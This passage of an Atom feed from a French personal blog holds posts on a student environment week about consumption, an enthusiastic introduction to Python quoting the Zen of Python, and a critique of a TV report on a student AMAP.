dilemmes des paysants. Le film n'étant pas opposé à la modernité,
ni même réactionnaire, il propose juste un constat alarmant du
monde agricole français, tout en proposant des alternatives qui
pourraient être utilisée, si les pouvoirs publics lâchaient un peu
la main des lobbys. Passionnant, vraiment.&lt;/blockquote&gt;
&lt;p&gt;Courrez-y, je vous dis.&lt;/p&gt;
</content></entry><entry><title>Semaine de lenvironnement: La consommation étudiante</title><link href="https://blog.notmyidea.org/semaine-de-lenvironnement-la-consommation-etudiante-fr.html" rel="alternate"></link><published>2010-02-24T00:00:00+01:00</published><updated>2010-02-24T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-02-24:/semaine-de-lenvironnement-la-consommation-etudiante-fr.html</id><summary type="html">&lt;p&gt;Les acteurs associatifs sont bien souvent moteurs des critiques de nos sociétés. Je pense à &lt;a class="reference external" href="http://www.framasoft.net/"&gt;Framasoft&lt;/a&gt;, à &lt;a class="reference external" href="http://www.laquadrature.net/"&gt;la Quadrature du net&lt;/a&gt; ou à &lt;a class="reference external" href="http://www.arsindustrialis.org/"&gt;Ars Industrialis&lt;/a&gt; (dans le domaine de la science et de l'informatique), mais aussi &lt;a class="reference external" href="http://www.amisdelaterre.org/"&gt;aux Amis de la Terre&lt;/a&gt;, à &lt;a class="reference external" href="http://www.attac.org/"&gt;ATTAC&lt;/a&gt; (dans le domaine de l'environnement entres autres …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Les acteurs associatifs sont bien souvent moteurs des critiques de nos sociétés. Je pense à &lt;a class="reference external" href="http://www.framasoft.net/"&gt;Framasoft&lt;/a&gt;, à &lt;a class="reference external" href="http://www.laquadrature.net/"&gt;la Quadrature du net&lt;/a&gt; ou à &lt;a class="reference external" href="http://www.arsindustrialis.org/"&gt;Ars Industrialis&lt;/a&gt; (dans le domaine de la science et de l'informatique), mais aussi &lt;a class="reference external" href="http://www.amisdelaterre.org/"&gt;aux Amis de la Terre&lt;/a&gt;, à &lt;a class="reference external" href="http://www.attac.org/"&gt;ATTAC&lt;/a&gt; (dans le domaine de l'environnement entres autres), et a tout un tas d'autres associations que je ne peux pas citer ici exhaustivement... Ce sont eux qui sont porteurs de messages alternatifs, et qui sont les initiateurs de débats publics, qui permettent de faire avancer des thématiques aussi importantes que le logiciel libre ou la protection de l'environnement.&lt;/p&gt;
&lt;p&gt;Dans cette optique, depuis près de 3 ans (déjà !), au sein du
&lt;a class="reference external" href="http://www.reseaugrappe.org"&gt;réseau GRAPPE&lt;/a&gt;, on &lt;em&gt;essaye&lt;/em&gt;
d'aborder des thématiques qui touchent de près ou de loin à
l'environnement, parce que c'est un sujet qui nous importe et nous
passionne. L'année dernière, c'était l'alimentation étudiante, ce
qui à abouti à la publication de
&lt;a class="reference external" href="http://public.reseaugrappe.org/alimentation.pdf"&gt;la revue &amp;quot;les étudiants se mettent à table&amp;quot;&lt;/a&gt;.
Cette année c'est la consommation étudiante qui est au programme.&lt;/p&gt;
&lt;div class="section" id="la-consommation-etudiante"&gt;
&lt;h2&gt;La consommation étudiante ?&lt;/h2&gt;
&lt;p&gt;L'idée principale de cette étude est de tenter de faire une analyse
de la &amp;quot;société de consommation&amp;quot;, souvent questionnée par les
étudiants et par d'autres, et de jeter un œil sur le rapport des
étudiants à cette société: Quoi et comment consomment-ils ? Les
universités et les écoles ne poussent-elles pas dune certaine
manière les étudiants à la consommation ? Quelles sont les
alternatives face aux dérives de surconsommation ?&lt;/p&gt;
&lt;blockquote&gt;
Analyse des pratiques, réflexions et mobilisations des étudiants en
termes de consommation seront réalisés pour comprendre leur modes
de vie, mais aussi leurs attentes, leurs propositions sur cette
thématique&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="la-semaine-de-l-environnement"&gt;
&lt;h2&gt;La semaine de l'environnement !&lt;/h2&gt;
&lt;p&gt;A travers l'ensemble des villes du réseau,
des projections de films et des débats auront donc lieu sur ce
thème, lors de la semaine de l'environnement 2010, qui se déroulera
d'ailleurs durant le mois de Mars
&lt;a class="reference external" href="http://www.reseaugrappe.org/la-semaine-de-lenvironnement-programme/"&gt;partout en france&lt;/a&gt;,
et &lt;strong&gt;du 6 au 14 Mars sur Toulouse&lt;/strong&gt;.
&lt;a class="reference external" href="http://docs.notmyidea.org/sde/prog-toulouse.pdf"&gt;Jetez un oeil au programme&lt;/a&gt;
! Avec pour objectif de sonder un peu le ressenti des étudiants en
terme de consommation, nous avons mis en place
&lt;a class="reference external" href="http://spreadsheets.google.com/viewform?formkey=dHV2bVllS2lWbzhyV3NBN3NUbi1TM2c6MA"&gt;un questionnaire en ligne&lt;/a&gt;,
que vous pouvez compléter en une petite 10aine de minutes,
n'hésitez pas !
&lt;a class="reference external" href="http://www.reseaugrappe.org/consommation/"&gt;La page sur la consommation étudiante sur le site du GRAPPE&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Python ? go !</title><link href="https://blog.notmyidea.org/python-go-fr.html" rel="alternate"></link><published>2009-12-17T00:00:00+01:00</published><updated>2009-12-17T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2009-12-17:/python-go-fr.html</id><summary type="html">&lt;p&gt;Cela fait maintenant un peu plus d'un mois que je travaille sur un
projet en &lt;a class="reference external" href="http://www.djangoproject.org"&gt;django&lt;/a&gt;, et que,
nécessairement, je me forme à &lt;a class="reference external" href="http://python.org/"&gt;Python&lt;/a&gt;. Je
prends un plaisir non dissimulé à découvrir ce langage (et à
l'utiliser), qui ne cesse de me surprendre. Les premiers mots qui
me viennent à …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela fait maintenant un peu plus d'un mois que je travaille sur un
projet en &lt;a class="reference external" href="http://www.djangoproject.org"&gt;django&lt;/a&gt;, et que,
nécessairement, je me forme à &lt;a class="reference external" href="http://python.org/"&gt;Python&lt;/a&gt;. Je
prends un plaisir non dissimulé à découvrir ce langage (et à
l'utiliser), qui ne cesse de me surprendre. Les premiers mots qui
me viennent à l'esprit à propos de Python, sont &amp;quot;logique&amp;quot; et
&amp;quot;simple&amp;quot;. Et pourtant puissant pour autant. Je ne manque d'ailleurs
pas une occasion pour faire un peu d'&lt;em&gt;évangélisation&lt;/em&gt; auprès des
quelques personnes qui veulent bien m'écouter.&lt;/p&gt;
&lt;div class="section" id="the-zen-of-python"&gt;
&lt;h2&gt;The Zen of Python&lt;/h2&gt;
&lt;p&gt;Avant toute autre chose, je pense utile de citer Tim Peters, et
&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0020/"&gt;le PEP20&lt;/a&gt;, qui
constituent une très bonne introduction au langage, qui prends la
forme d'un &lt;em&gt;easter egg&lt;/em&gt; présent dans python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&amp;gt;&amp;gt;&amp;gt; import this
The Zen of Python, by Tim Peters
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren&lt;span class="s1"&gt;&amp;#39;t special enough to break the rules.&lt;/span&gt;
&lt;span class="s1"&gt;Although practicality beats purity.&lt;/span&gt;
&lt;span class="s1"&gt;Errors should never pass silently.&lt;/span&gt;
&lt;span class="s1"&gt;Unless explicitly silenced.&lt;/span&gt;
&lt;span class="s1"&gt;In the face of ambiguity, refuse the temptation to guess.&lt;/span&gt;
&lt;span class="s1"&gt;There should be one-- and preferably only one --obvious way to do it.&lt;/span&gt;
&lt;span class="s1"&gt;Although that way may not be obvious at first unless you&amp;#39;&lt;/span&gt;re Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it&lt;span class="s1"&gt;&amp;#39;s a bad idea.&lt;/span&gt;
&lt;span class="s1"&gt;If the implementation is easy to explain, it may be a good idea.&lt;/span&gt;
&lt;span class="s1"&gt;Namespaces are one honking great idea -- let&amp;#39;&lt;/span&gt;s &lt;span class="k"&gt;do&lt;/span&gt; more of those!
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J'ai la vague impression que c'est ce que j'ai toujours cherché à
faire en PHP, et particulièrement dans
&lt;a class="reference external" href="http://www.spiral-project.org"&gt;le framework Spiral&lt;/a&gt;, mais en
ajoutant ces concepts dans une sur-couche au langage. Ici, c'est
directement de &lt;em&gt;l'esprit&lt;/em&gt; de python qu'il s'agit, ce qui signifie
que la plupart des bibliothèques python suivent ces concepts. Elle
est pas belle la vie ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="comment-commencer-et-par-ou"&gt;
&lt;h2&gt;Comment commencer, et par ou ?&lt;/h2&gt;
&lt;p&gt;Pour ma part, j'ai commencé par la lecture de quelques livres et
articles intéressants, qui constituent une bonne entrée en matière
sur le sujet (La liste n'est bien évidemment pas exhaustive et vos
commentaires sont les bienvenus) :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://diveintopython.adrahon.org/"&gt;Dive into python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.swaroopch.com/notes/Python_fr:Table_des_Matières"&gt;A byte of python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.amazon.fr/Python-Petit-guide-lusage-développeur/dp/2100508830"&gt;Python: petit guide à l'usage du développeur agile&lt;/a&gt;
de &lt;a class="reference external" href="http://tarekziade.wordpress.com/"&gt;Tarek Ziadé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://docs.python.org/index.html"&gt;La documentation officielle python&lt;/a&gt;,
bien sûr !&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://video.pycon.fr/videos/pycon-fr-2009/"&gt;Les vidéos du pyconfr 2009&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;Un peu de temps, et une console python ouverte :)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J'essaye par ailleurs de partager au maximum les ressources que je
trouve de temps à autres, que ce soit
&lt;a class="reference external" href="http://www.twitter.com/ametaireau"&gt;via twitter&lt;/a&gt; ou
&lt;a class="reference external" href="http://delicious.com/ametaireau"&gt;via mon compte delicious&lt;/a&gt;.
Allez jeter un œil
&lt;a class="reference external" href="http://delicious.com/ametaireau/python"&gt;au tag python&lt;/a&gt; sur mon
profil, peut être que vous trouverez des choses intéressantes, qui
sait!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="un-python-sexy"&gt;
&lt;h2&gt;Un python sexy&lt;/h2&gt;
&lt;p&gt;Quelques fonctionnalités qui devraient vous mettre l'eau à la
bouche:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://docs.python.org/library/stdtypes.html#comparisons"&gt;Le chaînage des opérateurs de comparaison&lt;/a&gt;
est possible (a&amp;lt;b &amp;lt;c dans une condition)&lt;/li&gt;
&lt;li&gt;Assignation de valeurs multiples (il est possible de faire a,b,c
= 1,2,3 par exemple)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://docs.python.org/tutorial/datastructures.html"&gt;Les listes&lt;/a&gt;
sont simples à manipuler !&lt;/li&gt;
&lt;li&gt;Les &lt;a class="reference external" href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions"&gt;list comprehension&lt;/a&gt;,
ou comment faire des opérations complexes sur les listes, de
manière simple.&lt;/li&gt;
&lt;li&gt;Les
&lt;a class="reference external" href="http://docs.python.org/library/doctest.html?highlight=doctest"&gt;doctests&lt;/a&gt;:
ou comment faire des tests directement dans la documentation de vos
classes, tout en la documentant avec de vrais exemples.&lt;/li&gt;
&lt;li&gt;Les
&lt;a class="reference external" href="http://www.python.org/doc/essays/metaclasses/meta-vladimir.txt"&gt;métaclasses&lt;/a&gt;,
ou comment contrôler la manière dont les classes se construisent&lt;/li&gt;
&lt;li&gt;Python est
&lt;a class="reference external" href="http://wiki.python.org/moin/Why%20is%20Python%20a%20dynamic%20language%20and%20also%20a%20strongly%20typed%20language"&gt;un langage à typage fort dynamique&lt;/a&gt;:
c'est ce qui m'agaçait avec PHP qui est un langage à typage faible
dynamique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cous pouvez également aller regarder
&lt;a class="reference external" href="http://video.pycon.fr/videos/free/53/"&gt;l'atelier donné par Victor Stinner durant le Pyconfr 09&lt;/a&gt;.
Have fun !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>AMAP + Média = Paniers bio à 5e ?!</title><link href="https://blog.notmyidea.org/amap-media-paniers-bio-a-5e-fr.html" rel="alternate"></link><published>2009-11-11T00:00:00+01:00</published><updated>2009-11-11T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2009-11-11:/amap-media-paniers-bio-a-5e-fr.html</id><summary type="html">&lt;p&gt;Le raccourci me semble un peu rapide. Et pourtant, il est emprunté
bien trop souvent. La dernière &lt;em&gt;mes-utilisation&lt;/em&gt; que j'ai à décrier
est celle d'un reportage télé, passé sur France 2 vendredi 23
Octobre
(&lt;a class="reference external" href="http://docs.notmyidea.org/amap/amap-fr2.avi"&gt;voir la vidéo&lt;/a&gt;),
ou on parles de
&lt;a class="reference external" href="http://amap.zest.free.fr"&gt;l'AMAP étudiante Zest&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Malgré tout le temps passé à …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Le raccourci me semble un peu rapide. Et pourtant, il est emprunté
bien trop souvent. La dernière &lt;em&gt;mes-utilisation&lt;/em&gt; que j'ai à décrier
est celle d'un reportage télé, passé sur France 2 vendredi 23
Octobre
(&lt;a class="reference external" href="http://docs.notmyidea.org/amap/amap-fr2.avi"&gt;voir la vidéo&lt;/a&gt;),
ou on parles de
&lt;a class="reference external" href="http://amap.zest.free.fr"&gt;l'AMAP étudiante Zest&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Malgré tout le temps passé à expliquer que justement, l'AMAP c'est
avant tout, pour nous, une notion de solidarité envers les
agriculteurs, malgré le fait que le message soit plus profond que
simplement aller acheter du bio (ça, c'est possible aussi en
supermarché), malgré le fait qu'il s'agisse en fait d'une remise en
cause plus profonde de la société, les journalistes n'ont choisi de
prendre que les quelques secondes qui leurs convenaient, celles qui
ne faisaient pas tache, celle ou je dis que &amp;quot;l'AMAP permet aux
étudiants de réapprendre à cuisiner, plutôt que de manger des
nouilles et de se faire des plats réchauffés&amp;quot;. Bien sur, je l'ai
dit et je le pense d'ailleurs, là n'est pas le problème, mais mon
message n'était pas celui là.&lt;/p&gt;
&lt;p&gt;Jamais, dans les quelques minutes du reportage, on ne dit ce que
AMAP signifie: Association de &lt;strong&gt;Maintien&lt;/strong&gt; d'une Agriculture
&lt;strong&gt;Paysanne&lt;/strong&gt;. On ne parles même pas des agriculteurs ! C'est
simplement plus facile pour les étudiants de venir récupérer leurs
paniers, puisque les points de distribution sont sur les facs, et
en plus ça ne coute que 5 euros ! ...&lt;/p&gt;
&lt;p&gt;Alors je crois bon de rappeler que L'AMAP n'est pas seulement un
service, c'est un engagement. Sur 5 mois, un engagement solidaire,
c'est la donnée principale de l'équation, celle sans quoi ça ne
peut fonctionner. Par le biais de cette AMAP, on essaye de montrer
que d'autres agricultures sont possibles, que la solidarité c'est
bien réel, et qu'il est possible de sortir du
&lt;em&gt;tout, tout de suite&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mais bon, apparemment, ça passe pas bien à la télé.&lt;/p&gt;
</content></entry></feed>